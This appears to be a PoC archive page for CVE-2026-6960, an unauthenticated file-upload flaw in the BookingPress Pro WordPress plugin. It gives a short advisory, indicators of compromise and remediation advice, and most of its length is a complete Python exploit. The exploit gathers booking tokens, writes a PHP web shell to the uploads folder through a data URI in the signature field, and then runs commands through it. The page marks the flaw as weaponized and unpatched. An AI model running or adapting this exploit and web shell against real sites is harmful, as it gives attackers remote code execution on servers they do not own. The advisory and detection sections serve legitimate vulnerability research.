PoC Archive PoC Archive
Critical CVE-2026-6960 unpatched

BookingPress Pro Unauthenticated Arbitrary File Upload via Data URI Signature Field (CVE-2026-6960)

by Atomic Edge · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-6960
Category
web
Affected product
BookingPress Pro (WordPress appointment-booking plugin)
Affected versions
<= 5.6
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherAtomic Edge
CVE / AdvisoryCVE-2026-6960
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1)
StatusWeaponized
Tagswordpress, bookingpress, unauthenticated, file-upload, rce, data-uri, cwe-434
RelatedN/A

Affected Target

FieldValue
Software / SystemBookingPress Pro (WordPress appointment-booking plugin)
Versions Affected<= 5.6
Language / PlatformPython PoC
Authentication RequiredNo
Network Access RequiredYes (HTTP to WordPress site running BookingPress Pro)

Summary

BookingPress Pro’s bookingpress_book_appointment_booking AJAX handler processes a signature-type custom field value as a data URI. The plugin extracts the file extension from the MIME-type portion of the URI via regex and passes it directly to file_put_contents() with no extension allowlist or blocklist, allowing an unauthenticated attacker to upload a PHP web shell to a web-accessible directory and achieve remote code execution. Exploitability requires a signature custom field configured in the booking form and at least one active service.


Vulnerability Details

Root Cause

The booking handler extracts a file extension from an attacker-controlled MIME type in a data URI and writes the decoded content via file_put_contents() with no validation of the resulting extension.

Attack Vector

  1. Confirm the target’s BookingPress form has a signature-type custom field configured and at least one active service.
  2. Submit a booking request where the signature field contains a data URI with a PHP MIME type and a base64-encoded PHP web shell payload.
  3. The handler decodes and writes the payload to a web-accessible path with a .php extension, then the attacker requests it directly to execute code.

Impact

Unauthenticated remote code execution on any WordPress site with BookingPress Pro <= 5.6 and a signature-type custom field configured.


Environment / Lab Setup

Target:   WordPress site with BookingPress Pro <= 5.6 and a signature custom field enabled
Attacker: Python 3 + requests

Proof of Concept

PoC Script

See CVE-2026-6960.py in this folder.

1
python3 CVE-2026-6960.py --url https://target-site.com

Extracts the booking nonce and a valid timeslot, then submits a crafted booking request with a PHP web shell disguised as a signature data URI to achieve file upload and RCE.


Detection & Indicators of Compromise

Signs of compromise:

  • New .php files appearing in BookingPress upload directories
  • Booking submissions with signature fields containing application/x-php or similar MIME types

Remediation

ActionDetail
Primary fixUpgrade BookingPress Pro to version 5.7 or later
Interim mitigationDisable signature-type custom fields until patched, or add a WAF rule blocking non-image MIME types in booking signature submissions

References


Notes

Mirrored from https://github.com/xxconi/CVE-2026-6960 on 2026-07-05.

CVE-2026-6960.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
# ==========================================================================
# Atomic Edge CVE Research | https://atomicedge.io
# CVE-2026-6960 - BookingPress Pro <= 5.6
# Unauthenticated Arbitrary File Upload via Signature Custom Field
#
# v2 - Technical corrections applied:
#   - Correct AJAX handler: bookingpress_book_appointment_booking
#   - Correct payload: data URI (not multipart upload)
#   - Full 3-step prerequisite chain implemented
#   - Precondition note: signature custom field must be configured
#
# LEGAL DISCLAIMER:
# For authorized security testing and educational purposes ONLY.
# Unauthorized use is prohibited and may violate applicable laws.
# You are solely responsible for compliance with applicable laws.
# ==========================================================================

import requests
import argparse
import sys
import json
import base64
import re
from urllib.parse import urljoin

BANNER = r"""
╔══════════════════════════════════════════════════════════╗
║   CVE-2026-6960 | BookingPress Pro <= 5.6          v2   ║
║   Unauthenticated Arbitrary File Upload (Corrected)      ║
║   Atomic Edge CVE Research | atomicedge.io               ║
╚══════════════════════════════════════════════════════════╝
"""

AJAX_PATH    = "/wp-admin/admin-ajax.php"
UPLOAD_PATH  = "/wp-content/uploads/bookingpress/"

# PHP web shell payload
SHELL_CODE   = b'<?php if(isset($_GET["cmd"])){ echo "<pre>".shell_exec($_GET["cmd"])."</pre>"; } ?>'


def build_data_uri(payload: bytes, ext: str) -> str:
    """
    Craft a data URI that tricks BookingPress into writing a file
    with the specified extension. The plugin extracts the extension
    from the MIME type portion of the data URI via regex, then calls
    file_put_contents() with that extension — no allowlist check.

    Format: data:image/{ext};base64,{base64_encoded_payload}
    """
    encoded = base64.b64encode(payload).decode()
    return f"data:image/{ext};base64,{encoded}"


# ---------------------------------------------------------------------------
# Step 1 — Fetch WP nonce (_wpnonce)
# ---------------------------------------------------------------------------
def fetch_wp_nonce(session: requests.Session, target: str,
                   booking_page: str, verify_ssl: bool) -> str | None:
    url = urljoin(target, booking_page)
    print(f"[*] Step 1/3 — Fetching _wpnonce from: {url}")

    try:
        resp = session.get(url, verify=verify_ssl, timeout=15)
        resp.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(f"[-] Failed to fetch booking page: {e}")
        return None

    patterns = [
        r'"_wpnonce"\s*:\s*"([^"]+)"',
        r"'_wpnonce'\s*:\s*'([^']+)'",
        r'<input[^>]*name="_wpnonce"[^>]*value="([^"]+)"',
        r'<input[^>]*value="([^"]+)"[^>]*name="_wpnonce"',
        r'bookingpress_nonce["\s:=]+["\']([a-f0-9]+)["\']',
    ]

    for pattern in patterns:
        match = re.search(pattern, resp.text, re.IGNORECASE)
        if match:
            nonce = match.group(1)
            print(f"[+] _wpnonce found: {nonce}")
            return nonce

    print("[-] _wpnonce not found. Ensure the booking form is on the target page.")
    return None


# ---------------------------------------------------------------------------
# Step 2 — Fetch timeslot transient (bookingpress_fetch_timeslot_data)
# ---------------------------------------------------------------------------
def fetch_timeslot_transient(session: requests.Session, target: str,
                              nonce: str, service_id: str,
                              verify_ssl: bool) -> str | None:
    url = urljoin(target, AJAX_PATH)
    print(f"[*] Step 2/3 — Fetching timeslot transient...")

    data = {
        "action":       "bookingpress_fetch_timeslot_data",
        "_wpnonce":     nonce,
        "service_id":   service_id,
        "selected_date": "2026-06-01",
    }

    try:
        resp = session.post(url, data=data, verify=verify_ssl, timeout=15)
        print(f"[+] Timeslot response (HTTP {resp.status_code}): {resp.text[:200]}")

        try:
            decoded = resp.json()
            # Extract transient key from response — key name may vary
            transient = (
                decoded.get("data", {}).get("transient_key")
                or decoded.get("transient_key")
                or decoded.get("data", {}).get("booking_transient")
            )
            if transient:
                print(f"[+] Timeslot transient: {transient}")
                return transient
        except json.JSONDecodeError:
            pass

        # Fallback: regex search in raw response
        match = re.search(r'"transient_key"\s*:\s*"([^"]+)"', resp.text)
        if match:
            print(f"[+] Timeslot transient (regex): {match.group(1)}")
            return match.group(1)

        print("[-] Could not extract transient key from timeslot response.")
        return None

    except requests.exceptions.RequestException as e:
        print(f"[-] Timeslot request failed: {e}")
        return None


# ---------------------------------------------------------------------------
# Step 3 — Fetch pre-booking verification token
# ---------------------------------------------------------------------------
def fetch_prebooking_token(session: requests.Session, target: str,
                            nonce: str, transient: str,
                            service_id: str, verify_ssl: bool) -> str | None:
    url = urljoin(target, AJAX_PATH)
    print(f"[*] Step 3/3 — Fetching pre-booking verification token...")

    data = {
        "action":          "bookingpress_pre_booking_verify_details",
        "_wpnonce":        nonce,
        "transient_key":   transient,
        "service_id":      service_id,
        "selected_date":   "2026-06-01",
        "selected_time":   "10:00",
    }

    try:
        resp = session.post(url, data=data, verify=verify_ssl, timeout=15)
        print(f"[+] Pre-booking response (HTTP {resp.status_code}): {resp.text[:200]}")

        try:
            decoded = resp.json()
            token = (
                decoded.get("data", {}).get("verify_token")
                or decoded.get("verify_token")
                or decoded.get("data", {}).get("booking_token")
            )
            if token:
                print(f"[+] Verification token: {token}")
                return token
        except json.JSONDecodeError:
            pass

        match = re.search(r'"verify_token"\s*:\s*"([^"]+)"', resp.text)
        if match:
            print(f"[+] Verification token (regex): {match.group(1)}")
            return match.group(1)

        print("[-] Could not extract verification token.")
        return None

    except requests.exceptions.RequestException as e:
        print(f"[-] Pre-booking request failed: {e}")
        return None


# ---------------------------------------------------------------------------
# Step 4 — Upload shell via booking submission (data URI method)
# ---------------------------------------------------------------------------
def upload_shell(session: requests.Session, target: str, nonce: str,
                 transient: str, token: str, service_id: str,
                 shell_name: str, verify_ssl: bool) -> bool:
    url = urljoin(target, AJAX_PATH)

    # Extract extension from shell filename (e.g. "shell.php" → "php")
    ext = shell_name.rsplit(".", 1)[-1] if "." in shell_name else "php"

    # Build the malicious data URI — plugin extracts ext from MIME type
    data_uri = build_data_uri(SHELL_CODE, ext)

    print(f"\n[*] Uploading shell via data URI method...")
    print(f"[*] Extension injected into MIME type: image/{ext}")
    print(f"[*] Data URI prefix: data:image/{ext};base64,...")

    booking_data = {
        "action":                       "bookingpress_book_appointment_booking",
        "_wpnonce":                     nonce,
        "transient_key":                transient,
        "verify_token":                 token,
        "service_id":                   service_id,
        "selected_date":                "2026-06-01",
        "selected_time":                "10:00",
        "customer_firstname":           "John",
        "customer_lastname":            "Doe",
        "customer_email":               "john@example.com",
        "customer_phone":               "1234567890",
        # Signature custom field — the vulnerable parameter
        "bookingpress_signature_field": data_uri,
    }

    try:
        resp = session.post(url, data=booking_data, verify=verify_ssl, timeout=20)
        print(f"[+] Upload response (HTTP {resp.status_code}): {resp.text[:300]}\n")
        return resp.status_code == 200

    except requests.exceptions.RequestException as e:
        print(f"[-] Upload request failed: {e}")
        return False


# ---------------------------------------------------------------------------
# Step 5 — Verify shell execution
# ---------------------------------------------------------------------------
def verify_shell(target: str, shell_name: str, verify_ssl: bool) -> None:
    shell_url = urljoin(target, UPLOAD_PATH + shell_name)
    test_url  = f"{shell_url}?cmd=id"

    print(f"[*] Verifying shell at: {shell_url}")

    try:
        resp = requests.get(test_url, verify=verify_ssl, timeout=10)
        if resp.status_code == 200 and "<pre>" in resp.text:
            print(f"[✓] Shell is LIVE!\n")
            print(f"    Output of 'id':\n    {resp.text.strip()}\n")
            print(f"[→] Shell access:\n    {shell_url}?cmd=<command>")
        else:
            print(f"[-] Shell not accessible at default path (HTTP {resp.status_code}).")
            print(f"    Try browsing: {urljoin(target, '/wp-content/uploads/')}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Shell verification failed: {e}")


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
    print(BANNER)

    parser = argparse.ArgumentParser(
        description="CVE-2026-6960 v2 - BookingPress Pro <= 5.6 File Upload PoC (Corrected)"
    )
    parser.add_argument("-u",  "--url",          required=True,
                        help="Target WordPress site URL")
    parser.add_argument("-bp", "--booking-page", default="/",
                        help="Page path containing the BookingPress form (default: /)")
    parser.add_argument("-s",  "--service-id",   default="1",
                        help="BookingPress service ID (default: 1)")
    parser.add_argument("-f",  "--filename",     default="shell.php",
                        help="Shell filename — extension injected into data URI MIME type")
    parser.add_argument("--no-verify",           action="store_true",
                        help="Disable SSL certificate verification")
    args = parser.parse_args()

    target     = args.url.rstrip("/")
    verify_ssl = not args.no_verify

    print("[!] PRECONDITION: This exploit requires a signature-type custom field")
    print("    to be configured in the BookingPress booking form by the site admin.\n")

    session = requests.Session()
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (compatible; AtomicEdge-Research/1.0)",
    })

    # Step 1: WP nonce
    nonce = fetch_wp_nonce(session, target, args.booking_page, verify_ssl)
    if not nonce:
        sys.exit(1)

    # Step 2: Timeslot transient
    transient = fetch_timeslot_transient(session, target, nonce,
                                         args.service_id, verify_ssl)
    if not transient:
        print("[-] Could not obtain timeslot transient. Aborting.")
        sys.exit(1)

    # Step 3: Pre-booking verification token
    token = fetch_prebooking_token(session, target, nonce, transient,
                                   args.service_id, verify_ssl)
    if not token:
        print("[-] Could not obtain pre-booking token. Aborting.")
        sys.exit(1)

    # Step 4: Upload shell
    success = upload_shell(session, target, nonce, transient, token,
                           args.service_id, args.filename, verify_ssl)

    # Step 5: Verify
    if success:
        verify_shell(target, args.filename, verify_ssl)
    else:
        print("[-] Upload failed. Check prerequisites and responses above.")
        sys.exit(1)


if __name__ == "__main__":
    main()